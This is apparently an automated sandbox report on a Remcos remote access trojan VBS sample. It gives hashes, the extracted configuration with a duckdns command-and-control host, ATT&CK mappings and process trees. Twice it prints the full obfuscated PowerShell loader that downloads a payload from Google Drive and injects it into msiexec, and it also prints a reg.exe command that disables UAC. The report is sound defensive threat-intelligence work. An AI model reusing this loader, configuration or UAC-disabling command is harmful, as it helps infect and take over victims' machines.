remcos | b4eff9a95f5eeeaee8c4e4a8ce366f478acf9f309e1df6db8a93375045982c5a

General

Target

b4eff9a95f5eeeaee8c4e4a8ce366f478acf9f309e1df6db8a93375045982c5a.vbs
Size

15KB
MD5

84183b62bf0c860efeaea9604efbfe3a
SHA1

4cc58ad007613902ff2118cb7091042f37ba394f
SHA256

b4eff9a95f5eeeaee8c4e4a8ce366f478acf9f309e1df6db8a93375045982c5a
SHA512

916c80269eec78f3391e67819a3fa9a4a64a52a2e7909c5a2a3f310211e1aba01534a932f6df06df8d70ec0ea7d641c7e5b9b5e527045a6f27b65a128f19a81b
SSDEEP

384:WxaWEl8MDBPMpf/X1tBoCPSn5otbq+4Xs4kDyLuoWt:gEl8MDBPy3X7BoBCtbq+4XspDyHWt

Score

10^/10

remcos remotehost discovery evasion execution rat trojan

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

C2

gnsuw4-nsh6-mnsg.duckdns.org:3613

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
true
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-8OIXMO
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos
UAC bypass 3 TTPs 1 IoCs
evasion trojan

Bypass User Account Control
T1548.002

Disable or Modify Tools
T1562.001

Modify Registry
T1112

Processes:

reg.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" reg.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Blocklisted process makes network request 64 IoCs

Processes:

WScript.exepowershell.exemsiexec.exe

flow	pid	process
2	1964	WScript.exe
7	2476	powershell.exe
9	2476	powershell.exe
11	1392	msiexec.exe
13	1392	msiexec.exe
15	1392	msiexec.exe
17	1392	msiexec.exe
18	1392	msiexec.exe
20	1392	msiexec.exe
21	1392	msiexec.exe
22	1392	msiexec.exe
23	1392	msiexec.exe
24	1392	msiexec.exe
25	1392	msiexec.exe
26	1392	msiexec.exe
27	1392	msiexec.exe
28	1392	msiexec.exe
29	1392	msiexec.exe
30	1392	msiexec.exe
31	1392	msiexec.exe
32	1392	msiexec.exe
33	1392	msiexec.exe
34	1392	msiexec.exe
35	1392	msiexec.exe
36	1392	msiexec.exe
37	1392	msiexec.exe
44	1392	msiexec.exe
47	1392	msiexec.exe
48	1392	msiexec.exe
49	1392	msiexec.exe
50	1392	msiexec.exe
51	1392	msiexec.exe
52	1392	msiexec.exe
53	1392	msiexec.exe
54	1392	msiexec.exe
55	1392	msiexec.exe
56	1392	msiexec.exe
57	1392	msiexec.exe
58	1392	msiexec.exe
59	1392	msiexec.exe
60	1392	msiexec.exe
61	1392	msiexec.exe
62	1392	msiexec.exe
63	1392	msiexec.exe
64	1392	msiexec.exe
65	1392	msiexec.exe
66	1392	msiexec.exe
68	1392	msiexec.exe
69	1392	msiexec.exe
70	1392	msiexec.exe
71	1392	msiexec.exe
72	1392	msiexec.exe
73	1392	msiexec.exe
74	1392	msiexec.exe
75	1392	msiexec.exe
76	1392	msiexec.exe
77	1392	msiexec.exe
78	1392	msiexec.exe
79	1392	msiexec.exe
80	1392	msiexec.exe
81	1392	msiexec.exe
82	1392	msiexec.exe
83	1392	msiexec.exe
84	1392	msiexec.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

2476 powershell.exe
1900 powershell.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service
T1102

Processes:

flow ioc

6 drive.google.com
7 drive.google.com
11 drive.google.com
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

Processes:

msiexec.exe

pid process

1392 msiexec.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exemsiexec.exe

pid process

1900 powershell.exe
1392 msiexec.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

pid	process
2476	powershell.exe
1900	powershell.exe

flow	ioc
6	drive.google.com
7	drive.google.com
11	drive.google.com

pid	process
1392	msiexec.exe

pid	process
1900	powershell.exe
1392	msiexec.exe

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

powershell.exemsiexec.execmd.exereg.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

320 reg.exe
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exepowershell.exe

pid process

2476 powershell.exe
1900 powershell.exe
1900 powershell.exe
Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

powershell.exe

pid process

1900 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2476 powershell.exe
Token: SeDebugPrivilege 1900 powershell.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

msiexec.exe

pid process

1392 msiexec.exe

pid	process
320	reg.exe

pid	process
2476	powershell.exe
1900	powershell.exe
1900	powershell.exe

pid	process
1900	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2476	powershell.exe
Token: SeDebugPrivilege	1900	powershell.exe

pid	process
1392	msiexec.exe

Suspicious use of WriteProcessMemory 19 IoCs

Processes:

WScript.exepowershell.exemsiexec.execmd.exe

description	pid	process	target process
PID 1964 wrote to memory of 2476	1964	WScript.exe	powershell.exe
PID 1964 wrote to memory of 2476	1964	WScript.exe	powershell.exe
PID 1964 wrote to memory of 2476	1964	WScript.exe	powershell.exe
PID 1900 wrote to memory of 1392	1900	powershell.exe	msiexec.exe
PID 1900 wrote to memory of 1392	1900	powershell.exe	msiexec.exe
PID 1900 wrote to memory of 1392	1900	powershell.exe	msiexec.exe
PID 1900 wrote to memory of 1392	1900	powershell.exe	msiexec.exe
PID 1900 wrote to memory of 1392	1900	powershell.exe	msiexec.exe
PID 1900 wrote to memory of 1392	1900	powershell.exe	msiexec.exe
PID 1900 wrote to memory of 1392	1900	powershell.exe	msiexec.exe
PID 1900 wrote to memory of 1392	1900	powershell.exe	msiexec.exe
PID 1392 wrote to memory of 2708	1392	msiexec.exe	cmd.exe
PID 1392 wrote to memory of 2708	1392	msiexec.exe	cmd.exe
PID 1392 wrote to memory of 2708	1392	msiexec.exe	cmd.exe
PID 1392 wrote to memory of 2708	1392	msiexec.exe	cmd.exe
PID 2708 wrote to memory of 320	2708	cmd.exe	reg.exe
PID 2708 wrote to memory of 320	2708	cmd.exe	reg.exe
PID 2708 wrote to memory of 320	2708	cmd.exe	reg.exe
PID 2708 wrote to memory of 320	2708	cmd.exe	reg.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\b4eff9a95f5eeeaee8c4e4a8ce366f478acf9f309e1df6db8a93375045982c5a.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1964
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Betagenndfres='Gingalls';;$Uroptysis='Frdigpakkes';;$Bagageboksen='Punt';;$arbejdsredskabs='Oprykningsprve';;$Disenrol102='Bodsvelsernes';;$Kommunikationsparametres=$host.Name;function Datalogiers($Magnetogasdynamics){If ($Kommunikationsparametres) {$Gratify=4} for ($Betagen=$Gratify;;$Betagen+=5){if(!$Magnetogasdynamics[$Betagen]) { break }$Mesothet+=$Magnetogasdynamics[$Betagen]}$Mesothet}function Gasbordenes($Ceasmic){ .($Pjankeriernes227) ($Ceasmic)}$Overmttedes=Datalogiers ' Tren Cate C,mtUnbu.Enz,wO.slESp,sb hisc Myrl NonIBonaEUdpun SilT';$Rotvlsket=Datalogiers 'TypoMAlleoadelzCorriPrizl.andlUdf.aAugm/';$Brnecykels=Datalogiers 'SideTDat l nats Ind1Srsk2';$Unhealthily='Besl[BenknP rpeRoueTUroc. HorS RabE ColrStomVNondiDiagC,ljfEPlatpFamiOKre,ivestNTo,ltPa.imReglaAn pNForsADespGGeorEReglRDisu] orp:Stem: linSWickES.viC spaUDeccRFrazITan tVen.yHu kpUncoRTussORabit OveOUdfoc Ut O ypl Re =Pieb$FandBDee rKissN VireAns c Dray,ondKCushEKursl Fais';$Rotvlsket+=Datalogiers 'Grie5 Sty.Pede0,nkl Prve( ForWot diUnpenProld Shoo DemwHypesSulf StrNPodeTKobr Jefe1 Afg0Outc.Seed0Tone;taxe LydtWQuetiunsanGrye6 et4 eho;Ange Sucx ook6Unde4Pilp;Dags CarrBrinv,irr:Doku1P ri3Girt1F sk. Krs0egne)Klvn SpriGCenteIndbcSupekBefroSelv/E ec2Lu n0 Kha1Touc0Blok0 Dag1 Und0Mega1co c DyspFb roiUnagrRehoeHjesf DoloKo mxGoti/ Dod1 Ska3Fles1Mish.Tusc0';$physitism=Datalogiers 'Li,nU emasHet EOprrR ns-K.ntA,aregRov E ExtnTraut';$erstatningskrav=Datalogiers 'QueshSkottBa etsandpkernsSpin: emt/Sk,r/sam dcyl,rBrygiBrakvR seeBant.Ge,igStedoE oroEukagLnovlSurmeBa n.SomacCa bo ormmStov/SalvuFin.c azz?Trope RusxGr tpOpdaoStilr,agtt Fin= OredVen o ondwtronnSmrolU.deoMotha tedTegn&M skiP udd on=Reve1UnmoxH wki ycmKl.sxR peKPorik PerHGl.t9InsiMKru 5PlurzDo.hWUninV RemmMetarCotyRT rt6UnfrTBioru,atePHjemBBumbQSens8 esqLigksSe t_K.edJSka,5StvnaHrentNaerrSh pB';$Vasers=Datalogiers 'Star>';$Pjankeriernes227=Datalogiers 'Ba lIclo,eVoltx';$fjernkendinger='Beyer';$Formants218='\Dechemicalize.Opk';Gasbordenes (Datalogiers 'Bagt$Integ VarL HeroBuslb AntA EtalDhud:.ostMPr,mE LdrSFus.IStamO ubrvEli Efan.RPellSKogeILrerOSch n Tet=Rind$DataEB trnTenovDayb:UdfrAGe nPArb P TraD DraAEriktBetrAFagi+Inhu$Demof IngoVelar SlamCa.fa ZoiNUaf,TUnensScol2Om u1Unap8');Gasbordenes (Datalogiers ' Gro$Forgg.athlInkvo amobSa,iaDisoLresc: HjeyRa,rES.lfn Re =Subf$BambE SpirC nvsUndetEx gaInb tHnsen heaiFrignDrilGRa.kSFor KO unrMoo A isVAnsi.Unq.s .noPInd,l FenI ,akt,agu(Te m$a faV H.mA HagS SkaEdrmnRLudisCata)');Gasbordenes (Datalogiers $Unhealthily);$erstatningskrav=$Yen[0];$Prezygapophysis=(Datalogiers 'eneu$Re.ogRedelZenioInblbKirjAP pnLNecr:DanscUnupL SeqiVel,a E.hc allKKr g=BanenLi seKuriWDr,k- Ma o NilbCallJRe mE SupCS ortPosi UmbeS U syRaphS LnkT sedeItinmMohu.F,st$ AntOCassVPolieAforr UndMPr fTLepttSigmEba tD MumE Ca S');Gasbordenes ($Prezygapophysis);Gasbordenes (Datalogiers 'Slgt$curvCCypslVorli Aglapremc.elekKysh. DykH Mo eBshnaUndldKrypeEgi rRum,s aa[Exis$BandpLivfhS kuyFremsRil iN,nstWa giForts ,agmPaa ]Mezz=Pres$OppeRNaftoAftetBiddvTr.klMilas Ne,k Abse Goot');$Hapset=Datalogiers 'Entr$Un aCT emlS lpiOveraAarrc SaskHder.PolyDCoc oAntiwFussnSa ilTil oKlimaRecedMaveFBjeri Mu.lFermeSlow(Defa$Sig.eRe er ,ttsMethtTapea Yngt An n cabi toln Indg f lsSpdbksoutrcrita HilvOver,Tal $ DemMAdg uDanar.ertsAttrtFemaeTripn LufeKirinMi j)';$Murstenen=$Mesioversion;Gasbordenes (Datalogiers 'Undi$charg HomLTheoOVeriBRec,A Klul Leo:ReceSI meP IndHBvsee enRFinlO ilniGuardSt gi KulShardMpe,l=sna.(Mo oTsygeEUn as arctPar,-.nnuPWiseAVuggTParohB ch rs$ SvamVeneU RibrRaa SP agTPo ieove.N ddETriuNVitr)');while (!$Spheroidism) {Gasbordenes (Datalogiers 'Su,e$ R vgWilll VenoSkrubVaagaUnselKult: olvPTilslUnikuNonfm Mice OddoEndep illiPladcMadre henaPyrinrekl= F.n$ atMTraniKngtcRoa,rSammoAnprsFosseOriucDedioBlann eped') ;Gasbordenes $Hapset;Gasbordenes (Datalogiers 'GenfsAn itHushaAdgar Supt Adv-bortS ejlLTrigE PhreOmisp.edd Insi4');Gasbordenes (Datalogiers 'Unfa$S vogCortlForeOFu hb Py aUk yLPate:Smr,sMe epBla HH reETe.trU coOwee.iC,rod FlyiNonfsColuMK.ra=Bor (ethmtJoureInteSPasfTMask-su pPGldsa ArcT ukaHIdea Hydr$DusimLumpUpresR NuaSAur.T honEDu kN.rfaELaruN Pro)') ;Gasbordenes (Datalogiers 'Desi$IntegOttel SkooBramBHemeaLi nLStrm: ConSBaalaCaffLacceTcelloAn iSCait=P lb$AvanGMonoL SodO InkBCampAt.evlKy i:HastOPorpDForsoBattnA skTStroOfrimC ,ilL UndAAutoSjerst Coa+ Lte+Iris% ilt$Cracy.henEPortnBirk.MinicLeopo s.dUret.N ,ydT') ;$erstatningskrav=$Yen[$Saltos]}$Whipsaws=284270;$Udenrigsministre=30012;Gasbordenes (Datalogiers 'Cy,t$ ApogVau,lFed odenuBfaina roiL Cit:ClosFRylee DrimPotauSvl,rMori Di,=Forl EdutgSoigeS ngtOrbi-HaeccpseuoReeln KxctBeaceGasuNKarbtIndk Unin$FyldM aauArchrHaleSGi,nTOrdrE.vann elleWra n');Gasbordenes (Datalogiers 'O er$ agrg carlAnd oPausb UnnaBoldl Tid:.fstI kkenmeldn HeteAggerUnsawAbaziUntunGedegDaybeSvinrBefa Embo=tran A to[IsblSPe hyca ssAppot Zele NyomKage.Ud aCGinfo O knCap v,ithepenorAllot ene]K,nc:.orn:Ac,rFMedlrKillo B gmkva BFormastras umfeLook6 aad4GastSTilhtHeu r Be irdsenEx.egCowb(Uni.$M lofGleae ,ddm S iuMaidrEmpi)');Gasbordenes (Datalogiers 'mono$Ecb GStoaL strOlerdBS rvAplatLMdse:BiomsSvi Y,uisNtrykTFootaPokeKpressknalaEm aNBetlaCu.blStanyPub sGranaNpmuTLovgoCompr Hor Snip=Afro Rata[DokuS.askY.mmesActitFagieEntrMKopi. ManTJurie Br xvolsT Bru.CidaEVintNSemiC.angO BesD AnliMonknCo pGP,at]Augu:Unpr: AspaEk pSO ysCSobrID ibINiko.Elekg Pokefan,TGlanSMobit InfRForbi indN .legTall(jebl$viviiTyktNAnagn Mideudkrr.ejvWContI oftNDiffgFiskeCeliRQ ad)');Gasbordenes (Datalogiers 'G da$.ridg,amuL emtoTamabUngaaEurylC mb: F.ntIndii erkMTimea Fo r Hoo=Hima$ kkS .keyEnben,ligtfiskA R,jK,kjosKledATopvNKaraaArm l HarYSidesteosARingToutsOIntrrAmpl.Sen SDro UIdeoBB,ltsSt uT ,rir Sh,iDet,N BibGStla(Biot$AlloWaskehTranI En pIsoaSUdhuAHa sw atSKed ,Tvrf$Fe euSubrdBrileNrinn emaR RkeIPostG PliSmunkMLongiTil nConti ybs.fprt xycR SejeAfb )');Gasbordenes $Timar;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2476

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" ";$Betagenndfres='Gingalls';;$Uroptysis='Frdigpakkes';;$Bagageboksen='Punt';;$arbejdsredskabs='Oprykningsprve';;$Disenrol102='Bodsvelsernes';;$Kommunikationsparametres=$host.Name;function Datalogiers($Magnetogasdynamics){If ($Kommunikationsparametres) {$Gratify=4} for ($Betagen=$Gratify;;$Betagen+=5){if(!$Magnetogasdynamics[$Betagen]) { break }$Mesothet+=$Magnetogasdynamics[$Betagen]}$Mesothet}function Gasbordenes($Ceasmic){ .($Pjankeriernes227) ($Ceasmic)}$Overmttedes=Datalogiers ' Tren Cate C,mtUnbu.Enz,wO.slESp,sb hisc Myrl NonIBonaEUdpun SilT';$Rotvlsket=Datalogiers 'TypoMAlleoadelzCorriPrizl.andlUdf.aAugm/';$Brnecykels=Datalogiers 'SideTDat l nats Ind1Srsk2';$Unhealthily='Besl[BenknP rpeRoueTUroc. HorS RabE ColrStomVNondiDiagC,ljfEPlatpFamiOKre,ivestNTo,ltPa.imReglaAn pNForsADespGGeorEReglRDisu] orp:Stem: linSWickES.viC spaUDeccRFrazITan tVen.yHu kpUncoRTussORabit OveOUdfoc Ut O ypl Re =Pieb$FandBDee rKissN VireAns c Dray,ondKCushEKursl Fais';$Rotvlsket+=Datalogiers 'Grie5 Sty.Pede0,nkl Prve( ForWot diUnpenProld Shoo DemwHypesSulf StrNPodeTKobr Jefe1 Afg0Outc.Seed0Tone;taxe LydtWQuetiunsanGrye6 et4 eho;Ange Sucx ook6Unde4Pilp;Dags CarrBrinv,irr:Doku1P ri3Girt1F sk. Krs0egne)Klvn SpriGCenteIndbcSupekBefroSelv/E ec2Lu n0 Kha1Touc0Blok0 Dag1 Und0Mega1co c DyspFb roiUnagrRehoeHjesf DoloKo mxGoti/ Dod1 Ska3Fles1Mish.Tusc0';$physitism=Datalogiers 'Li,nU emasHet EOprrR ns-K.ntA,aregRov E ExtnTraut';$erstatningskrav=Datalogiers 'QueshSkottBa etsandpkernsSpin: emt/Sk,r/sam dcyl,rBrygiBrakvR seeBant.Ge,igStedoE oroEukagLnovlSurmeBa n.SomacCa bo ormmStov/SalvuFin.c azz?Trope RusxGr tpOpdaoStilr,agtt Fin= OredVen o ondwtronnSmrolU.deoMotha tedTegn&M skiP udd on=Reve1UnmoxH wki ycmKl.sxR peKPorik PerHGl.t9InsiMKru 5PlurzDo.hWUninV RemmMetarCotyRT rt6UnfrTBioru,atePHjemBBumbQSens8 esqLigksSe t_K.edJSka,5StvnaHrentNaerrSh pB';$Vasers=Datalogiers 'Star>';$Pjankeriernes227=Datalogiers 'Ba lIclo,eVoltx';$fjernkendinger='Beyer';$Formants218='\Dechemicalize.Opk';Gasbordenes (Datalogiers 'Bagt$Integ VarL HeroBuslb AntA EtalDhud:.ostMPr,mE LdrSFus.IStamO ubrvEli Efan.RPellSKogeILrerOSch n Tet=Rind$DataEB trnTenovDayb:UdfrAGe nPArb P TraD DraAEriktBetrAFagi+Inhu$Demof IngoVelar SlamCa.fa ZoiNUaf,TUnensScol2Om u1Unap8');Gasbordenes (Datalogiers ' Gro$Forgg.athlInkvo amobSa,iaDisoLresc: HjeyRa,rES.lfn Re =Subf$BambE SpirC nvsUndetEx gaInb tHnsen heaiFrignDrilGRa.kSFor KO unrMoo A isVAnsi.Unq.s .noPInd,l FenI ,akt,agu(Te m$a faV H.mA HagS SkaEdrmnRLudisCata)');Gasbordenes (Datalogiers $Unhealthily);$erstatningskrav=$Yen[0];$Prezygapophysis=(Datalogiers 'eneu$Re.ogRedelZenioInblbKirjAP pnLNecr:DanscUnupL SeqiVel,a E.hc allKKr g=BanenLi seKuriWDr,k- Ma o NilbCallJRe mE SupCS ortPosi UmbeS U syRaphS LnkT sedeItinmMohu.F,st$ AntOCassVPolieAforr UndMPr fTLepttSigmEba tD MumE Ca S');Gasbordenes ($Prezygapophysis);Gasbordenes (Datalogiers 'Slgt$curvCCypslVorli Aglapremc.elekKysh. DykH Mo eBshnaUndldKrypeEgi rRum,s aa[Exis$BandpLivfhS kuyFremsRil iN,nstWa giForts ,agmPaa ]Mezz=Pres$OppeRNaftoAftetBiddvTr.klMilas Ne,k Abse Goot');$Hapset=Datalogiers 'Entr$Un aCT emlS lpiOveraAarrc SaskHder.PolyDCoc oAntiwFussnSa ilTil oKlimaRecedMaveFBjeri Mu.lFermeSlow(Defa$Sig.eRe er ,ttsMethtTapea Yngt An n cabi toln Indg f lsSpdbksoutrcrita HilvOver,Tal $ DemMAdg uDanar.ertsAttrtFemaeTripn LufeKirinMi j)';$Murstenen=$Mesioversion;Gasbordenes (Datalogiers 'Undi$charg HomLTheoOVeriBRec,A Klul Leo:ReceSI meP IndHBvsee enRFinlO ilniGuardSt gi KulShardMpe,l=sna.(Mo oTsygeEUn as arctPar,-.nnuPWiseAVuggTParohB ch rs$ SvamVeneU RibrRaa SP agTPo ieove.N ddETriuNVitr)');while (!$Spheroidism) {Gasbordenes (Datalogiers 'Su,e$ R vgWilll VenoSkrubVaagaUnselKult: olvPTilslUnikuNonfm Mice OddoEndep illiPladcMadre henaPyrinrekl= F.n$ atMTraniKngtcRoa,rSammoAnprsFosseOriucDedioBlann eped') ;Gasbordenes $Hapset;Gasbordenes (Datalogiers 'GenfsAn itHushaAdgar Supt Adv-bortS ejlLTrigE PhreOmisp.edd Insi4');Gasbordenes (Datalogiers 'Unfa$S vogCortlForeOFu hb Py aUk yLPate:Smr,sMe epBla HH reETe.trU coOwee.iC,rod FlyiNonfsColuMK.ra=Bor (ethmtJoureInteSPasfTMask-su pPGldsa ArcT ukaHIdea Hydr$DusimLumpUpresR NuaSAur.T honEDu kN.rfaELaruN Pro)') ;Gasbordenes (Datalogiers 'Desi$IntegOttel SkooBramBHemeaLi nLStrm: ConSBaalaCaffLacceTcelloAn iSCait=P lb$AvanGMonoL SodO InkBCampAt.evlKy i:HastOPorpDForsoBattnA skTStroOfrimC ,ilL UndAAutoSjerst Coa+ Lte+Iris% ilt$Cracy.henEPortnBirk.MinicLeopo s.dUret.N ,ydT') ;$erstatningskrav=$Yen[$Saltos]}$Whipsaws=284270;$Udenrigsministre=30012;Gasbordenes (Datalogiers 'Cy,t$ ApogVau,lFed odenuBfaina roiL Cit:ClosFRylee DrimPotauSvl,rMori Di,=Forl EdutgSoigeS ngtOrbi-HaeccpseuoReeln KxctBeaceGasuNKarbtIndk Unin$FyldM aauArchrHaleSGi,nTOrdrE.vann elleWra n');Gasbordenes (Datalogiers 'O er$ agrg carlAnd oPausb UnnaBoldl Tid:.fstI kkenmeldn HeteAggerUnsawAbaziUntunGedegDaybeSvinrBefa Embo=tran A to[IsblSPe hyca ssAppot Zele NyomKage.Ud aCGinfo O knCap v,ithepenorAllot ene]K,nc:.orn:Ac,rFMedlrKillo B gmkva BFormastras umfeLook6 aad4GastSTilhtHeu r Be irdsenEx.egCowb(Uni.$M lofGleae ,ddm S iuMaidrEmpi)');Gasbordenes (Datalogiers 'mono$Ecb GStoaL strOlerdBS rvAplatLMdse:BiomsSvi Y,uisNtrykTFootaPokeKpressknalaEm aNBetlaCu.blStanyPub sGranaNpmuTLovgoCompr Hor Snip=Afro Rata[DokuS.askY.mmesActitFagieEntrMKopi. ManTJurie Br xvolsT Bru.CidaEVintNSemiC.angO BesD AnliMonknCo pGP,at]Augu:Unpr: AspaEk pSO ysCSobrID ibINiko.Elekg Pokefan,TGlanSMobit InfRForbi indN .legTall(jebl$viviiTyktNAnagn Mideudkrr.ejvWContI oftNDiffgFiskeCeliRQ ad)');Gasbordenes (Datalogiers 'G da$.ridg,amuL emtoTamabUngaaEurylC mb: F.ntIndii erkMTimea Fo r Hoo=Hima$ kkS .keyEnben,ligtfiskA R,jK,kjosKledATopvNKaraaArm l HarYSidesteosARingToutsOIntrrAmpl.Sen SDro UIdeoBB,ltsSt uT ,rir Sh,iDet,N BibGStla(Biot$AlloWaskehTranI En pIsoaSUdhuAHa sw atSKed ,Tvrf$Fe euSubrdBrileNrinn emaR RkeIPostG PliSmunkMLongiTil nConti ybs.fprt xycR SejeAfb )');Gasbordenes $Timar;"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1900
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\SysWOW64\msiexec.exe"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of NtCreateThreadExHideFromDebugger
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1392
- - C:\Windows\SysWOW64\cmd.exe
    /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2708
  - - C:\Windows\SysWOW64\reg.exe
      C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
      4⤵
      UAC bypass
      System Location Discovery: System Language Discovery
      Modifies registry key
      PID:320

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Abuse Elevation Control Mechanism

1

T1548

Bypass User Account Control

1

T1548.002

Defense Evasion

Abuse Elevation Control Mechanism

1

T1548

Bypass User Account Control

1

T1548.002

Impair Defenses

1

T1562

Disable or Modify Tools

Modify Registry

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\remcos\logs.dat

Filesize
144B

MD5
3f043e5e5ef13b569ddde26fa50f3a4c

SHA1
8305df5ab900fedcf58c339d272630a9b01a8f0c

SHA256
70b733a7978245b8b7ddc22dfde246a82a8c778ddc40aa7e74d3a8f25c59db17

SHA512
d42802f2e0eeb735adbd7e0656211f01747e3dd975486032d42148142fcfc582acbed55de914978cc399f0f0aa78d4885f08498a7df5abc8cebe8240cbf07877

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
60cfa273db26940c892480856171a3e7

SHA1
90e4baf81cb22ffdfefbc71d24f402ee35942cf4

SHA256
49f7b39cddc4ee778b89f5c913b4d938c3898ca36324b044b2d394964c9f762b

SHA512
1128deb821543289c3c149cf3eb80b50ed3c2e7dd07c5ad0b2213355be645f2fc5ab6352515b90114bcd9fab2d51f6b93bdb34b67196e9577570899ea68b7f8f

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab846E.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar2D0A.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
C:\Users\Admin\AppData\Roaming\Dechemicalize.Opk

Filesize
409KB

MD5
c3ad0ea140353b5d6e712f99901cca68

SHA1
a02146059fc0e7dfea5db0fb4713e006d1cefdc6

SHA256
8b63cfd26d1d38bebd163bf43e0ce44026ddb0c9f81dc3a9cfdc0f8f69201376

SHA512
7f655c98f612349b64555467457b8a4b452c5bc5cfc31e39cbb7043dd6331d7ccbc2b070d01891e14a63fd49cdd3ed49546a56edd1c0df1e885424e4ff4bcb49

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\IIVRE7MK5EQ9IO4MSNLQ.temp

Filesize
7KB

MD5
99c7959edf0fdf1696d0db2014a594f6

SHA1
13dd98e81d14593d71c99045ec7e305cbba09855

SHA256
c3d2c404f69a80e1329c77544c2d9dd01c7754bfdf9269f725ee9f245e0a6c44

SHA512
2121c80ad58636ef7c223614f3d877497cbcb9cfd900c2f858f1cc4ddcdece88d2bf2bd1293f938c0787c61214fb36e92313641de5f417710821c4deb433966b

Download Submit
memory/1392-76-0x0000000000BB0000-0x0000000001C12000-memory.dmp

Filesize
16.4MB

Download
memory/1392-73-0x0000000000BB0000-0x0000000001C12000-memory.dmp

Filesize
16.4MB

Download
memory/1392-79-0x0000000000BB0000-0x0000000001C12000-memory.dmp

